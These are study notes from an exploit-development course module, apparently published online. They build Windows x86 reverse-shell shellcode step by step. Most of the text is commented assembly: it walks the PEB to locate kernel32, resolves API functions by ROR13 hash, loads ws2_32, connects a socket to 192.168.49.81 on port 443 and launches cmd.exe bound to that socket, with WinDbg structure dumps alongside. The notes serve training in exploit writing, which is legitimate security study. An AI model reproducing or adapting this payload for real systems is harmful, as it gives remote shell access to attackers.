EXP-301 Module 0x07 Notes
// Some codeHeavily refrences the shellcode nullFreePIC_reverse_shell_final_example.py
PEB
0:002> dt nt!_PEB 0x7f60b000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
...
+0x00c Ldr : 0x776c9aa0 _PEB_LDR_DATA
Ldr Data Table
0:002> dt _PEB_LDR_DATA 0x776c9aa0
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
...
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x4011728 - 0x40180d0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x4011730 - 0x40180d8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x4011658 - 0x40180e0 ]
...
InInitializationOrderModuleList - 0x10 -> _LDR_DATA_TABLE_ENTRY
0:002> dt _LDR_DATA_TABLE_ENTRY (0x04011658 - 0x10)
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4011ab0 - 0x4011728 ]
...
+0x018 DllBase : 0x775c0000 Void
...
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
+0x02c BaseDllName : _UNICODE_STRING "ntdll.dll" #_UNICODE_STRING has member buffer which starts at offset 0x04 so dllname is actually at 0x30
...
" find_kernel32: " #
" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder
" next_module: " #
" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address (keep in mind the _LDR_DATA_TABLE_ENTRY starts at - 0x10 from the InInitOrder struct)
" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00 ?
" jne next_module ;" # No: try next module.
Export Directory Table
AddressOfNames AddressOfNamesOrindals AddressOfFunctions
1 VirtualAlloc 1 i=5 5 0xaabbccdd
2 WriteProcessMemory 2 i=6 6 0xaabbddee
3 ... 3 ... 7 ...
PE Header Offsets:
Base of DLL
0x3c - PE Signature
0x78 - Export Table Offset
0x18 - number of names
0x20 - Address of Names Array offset
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
" mov ecx, [edi+0x18] ;" # NumberOfNames
" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later
" find_function_loop: " #
" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current symbol name
Hashing Function:
" compute_hash: " #
" xor eax, eax ;" # NULL EAX
" cdq ;" # NULL EDX
" cld ;" # Clear direction
" compute_hash_again: " #
" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set,we've hit the NULL term
" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;" # Next iteration
" compute_hash_finished: " #
Loop through and check if we have found the function were looking for:
" find_function_compare: " #
" cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash
" jnz find_function_loop ;" # If it doesn't match go back to find_function_loop
" mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA
" add edx, ebx ;" # AddressOfNameOrdinals VMA
" mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal
" mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA
" add edx, ebx ;" # AddressOfFunctions VMA
" mov eax, [edx+4*ecx] ;" # Get the function RVA
" add eax, ebx ;" # Get the function VMA
" mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;" #
Find our KERNEL32 functions and store them on the stack:
" resolve_symbols_kernel32: "# Find TerminateProces
" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp + 0x04] ;" # Call find_function
" mov [ebp + 0x10], eax ;"#
" push 0xec0e4e8e ;" # Find LoadLibraryA
" call dword ptr [ebp + 0x04] ;" # Call find_function
" mov [ebp + 0x14], eax ;"
" push 0x16b3fe72 ;" # Find CreateProocessA
" call dword ptr [ebp + 0x04] ;" # Call find_function
" mov [ebp + 0x18], eax ;"
Load ws2_32:
" load_ws2_32: "
" xor eax, eax ;"
" mov ax, 0x6c6c ;"
" push eax ;"#push null terminated portion of string
" push 0x642e3233 ;"
" push 0x5f327377 ;"
" push esp ;" #push pointer to the string
" call dword ptr [ebp +0x14] ;" # Call LoadLibraryA
Load the ws2_32 functions:
" resolve_symbols_ws2_32: "
" mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX
" push 0x3bfcedcb ;" # WSAStartup hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage
" push 0xadf509d9 ;" # WSASocketA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x20], eax ;" # Save WSASocketA address for later usage
" push 0xb32dba0c ;" # WSAConnect hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x24], eax ;" # Save WSAConnect address for later usage
Call all our functions and make our shell:
" call_wsastartup: "
" mov eax, esp ;"
" mov cx, 0x590 ;"
" sub eax, ecx ;" # creating arbitrary space for future WSADATA struct
" push eax ;" #save ptr to struct
" xor eax, eax ;"
" mov ax, 0x0202 ;" #save version 2.2 for call to stack
" push eax ;"
" int3 ;"
" call dword ptr [ebp + 0x1C] ;" #call WSAStartup
" call_wsasocketa: " #
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFlags
" push eax ;" # Push g
" push eax ;" # Push lpProtocolInfo
" mov al, 0x06 ;" # Move AL, IPPROTO_TCP
" push eax ;" # Push protocol
" sub al, 0x05 ;" # Substract 0x05 from AL, AL = 0x01
" push eax ;" # Push type
" inc eax ;" # Increase EAX, EAX = 0x02
" push eax ;" # Push af
" call dword ptr [ebp+0x20] ;" # Call WSASocketA
" call_wsaconnect: " #
"int3;"
" mov esi, eax ;" # Move the SOCKET descriptor to ESI
" xor eax, eax ;" # Null EAX
" push eax ;" # Push sin_zero[]
" push eax ;" # Push sin_zero[]
" push 0x5131a8c0 ;" # Push sin_addr (192.168.49.81)
" mov ax, 0xbb01 ;" # Move the sin_port (443) to AX
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX
" push eax ;" # Push sin_port & sin_family
" push esp ;" # Push pointer to the sockaddr_in structure
" pop edi ;" # Store pointer to sockaddr_in in EDI
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpGQOS
" push eax ;" # Push lpSQOS
" push eax ;" # Push lpCalleeData
" push eax ;" # Push lpCalleeData
" add al, 0x10 ;" # Set AL to 0x10
" push eax ;" # Push namelen
" push edi ;" # Push *name
" push esi ;" # Push s
" call dword ptr [ebp+0x24] ;" # Call WSASocketA
" create_startupinfoa: " #
" push esi ;" # Push hStdError
" push esi ;" # Push hStdOutput
" push esi ;" # Push hStdInput
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpReserved2
" push eax ;" # Push cbReserved2 & wShowWindow
" mov al, 0x80 ;" # Move 0x80 to AL
" xor ecx, ecx ;" # Null ECX
" mov cx, 0x80 ;" # Move 0x80 to CX
" add eax, ecx ;" # Set EAX to 0x100
" push eax ;" # Push dwFlags
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFillAttribute
" push eax ;" # Push dwYCountChars
" push eax ;" # Push dwXCountChars
" push eax ;" # Push dwYSize
" push eax ;" # Push dwXSize
" push eax ;" # Push dwY
" push eax ;" # Push dwX
" push eax ;" # Push lpTitle
" push eax ;" # Push lpDesktop
" push eax ;" # Push lpReserved
" mov al, 0x44 ;" # Move 0x44 to AL
" push eax ;" # Push cb
" push esp ;" # Push pointer to the STARTUPINFOA structure
" pop edi ;" # Store pointer to STARTUPINFOA in EDI
" create_cmd_string: " #
" mov eax, 0xff9a879b ;" # Move 0xff9a879b into EAX
" neg eax ;" # Negate EAX, EAX = 00657865
" push eax ;" # Push part of the "cmd.exe" string
" push 0x2e646d63 ;" # Push the remainder of the "cmd.exe" string
" push esp ;" # Push pointer to the "cmd.exe" string
" pop ebx ;" # Store pointer to the "cmd.exe" string in EBX
" call_createprocessa: " #
" mov eax, esp ;" # Move ESP to EAX
" xor ecx, ecx ;" # Null ECX
" mov cx, 0x390 ;" # Move 0x390 to CX
" sub eax, ecx ;" # Substract CX from EAX to avoid overwriting the structure later
" push eax ;" # Push lpProcessInformation
" push edi ;" # Push lpStartupInfo
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpCurrentDirectory
" push eax ;" # Push lpEnvironment
" push eax ;" # Push dwCreationFlags
" inc eax ;" # Increase EAX, EAX = 0x01 (TRUE)
" push eax ;" # Push bInheritHandles
" dec eax ;" # Null EAX
" push eax ;" # Push lpThreadAttributes
" push eax ;" # Push lpProcessAttributes
" push ebx ;" # Push lpCommandLine
" push eax ;" # Push lpApplicationName
" call dword ptr [ebp+0x18] ;" # Call CreateProcessA
Exit:
" int3 ;"
" xor ecx, ecx ;" # NULL ECX
" push ecx ;" # uExitCode
" push 0xffffffff ;" # hProcess
" call dword ptr [ebp + 0x10] ;" # Call TerminateProcess
Last updated
Was this helpful?